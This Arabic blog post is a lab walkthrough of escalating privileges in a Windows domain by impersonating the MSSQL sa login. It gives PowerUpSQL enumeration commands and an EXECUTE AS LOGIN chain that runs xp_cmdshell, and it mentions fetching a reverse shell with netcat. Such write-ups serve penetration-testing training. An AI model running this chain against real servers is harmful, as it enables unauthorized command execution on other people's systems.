Domain Privilege Escalation - MSSQL Impersonate Sys Admin
السلام عليكم ورحمة الله وبركاته
الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:
مقدمة:
في هذي المقالة راح نشرح التكينك الاول لي الـDomain Privilege وهو الـMSSQL impersonate
في هذا التكنيك راح نشوف كيف راح نخترق جهاز اخر يوجد عليه خدمة MSSQL عن طريق انتحال الـsysadmin
الشرح:
اول شي انا داخل بمستخدم pastudent131 راح نسوي Load لاداة PowerUpSQL عن طريق هذا الامر:
Import-Module .\PowerUpSQL-master\PowerUpSQL.ps1
الان راح نشوف هل اليوزر الخاص بنا عنده صلاحيات انه يسوي Access لخدمة MSSQL اخرى موجودة في جهاز اخر
عن طريق هذا الامر:
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
نلاحظ انه المستخدم الخاص فينا اللي هو pastudent131 عنده Access على سيرفس MSSQL على جهاز اخر واللي هو UFC-SQLDev.us.funcorp.local
لكن المشكلة انه المستخدم الخاص فينا لا يملك صلاحية SysAdmin ف مانقدر ننفذ اوامر على النظام اللي عليه MSSQL Service عشان نجيب Reverse Shell
الان راح نشوف ايش المستخدمين اللي ممكن نسويلهم انتحال عن طريق هذا الامر:
Get-SQLServerLinkCrawl -Instance <INSTANCE> -Verbose -Query 'SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE'''
نلاحظ انه يممكنا انتحال مستخدمين واللي هم sa و dbuser بس مانعرف اي واحد فيهم عنده صلاحية sysadmin
لذلك راح ننفذ امر وراح يوضح لنا اي المستخدمين عنده صلاحية sysadmin :
Invoke-SQLAuditPrivImpersonateLogin -Instance ufc-sqldev -Verbose -Debug -Exploit
لو نلاحظ انه كاتب لنا اي مستخدم موجود في قروب RDPUsers يمكنه انتحال المستخدم dbuser بس ماعنده صلاحيات sysadmin
ويمكن للمستخدم dbuser انتحال المستخدم sa ويملك صلاحيات SysAdmin (:
الان اللي راح نسويه انه ننتحل المستخدم dbuser وبعد كذا نتحل المستخدم sa
راح ننفذ هذا الامر بحيث راح ينتحل لنا المستخدم dbuser بعدين المستخدم sa وراح ينفذ لنا امر whoami على جهاز ufc-sqldev :
Get-SQLQuery -Verbose -instance ufc-sqldev -Query "EXECUTE AS LOGIN = 'dbuser';EXECUTE AS LOGIN = 'sa';exec xp_cmdshell 'whoami' " -User USFUN\pastudent131
جميل جدا (:
الان راح افتح http server وراح انقل سكربت Invoke-PowerShellTcp عشان نجيب Reverse Shell وراح افتح تنصت عن طريق netcat (:
وبكذا وصلنا الى نهاية المقالة و اتمنى انه نالت على اعجابكم
شاكر لكم.
التعليقات (0)
لايوجد لديك حساب في عالم البرمجة؟
تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !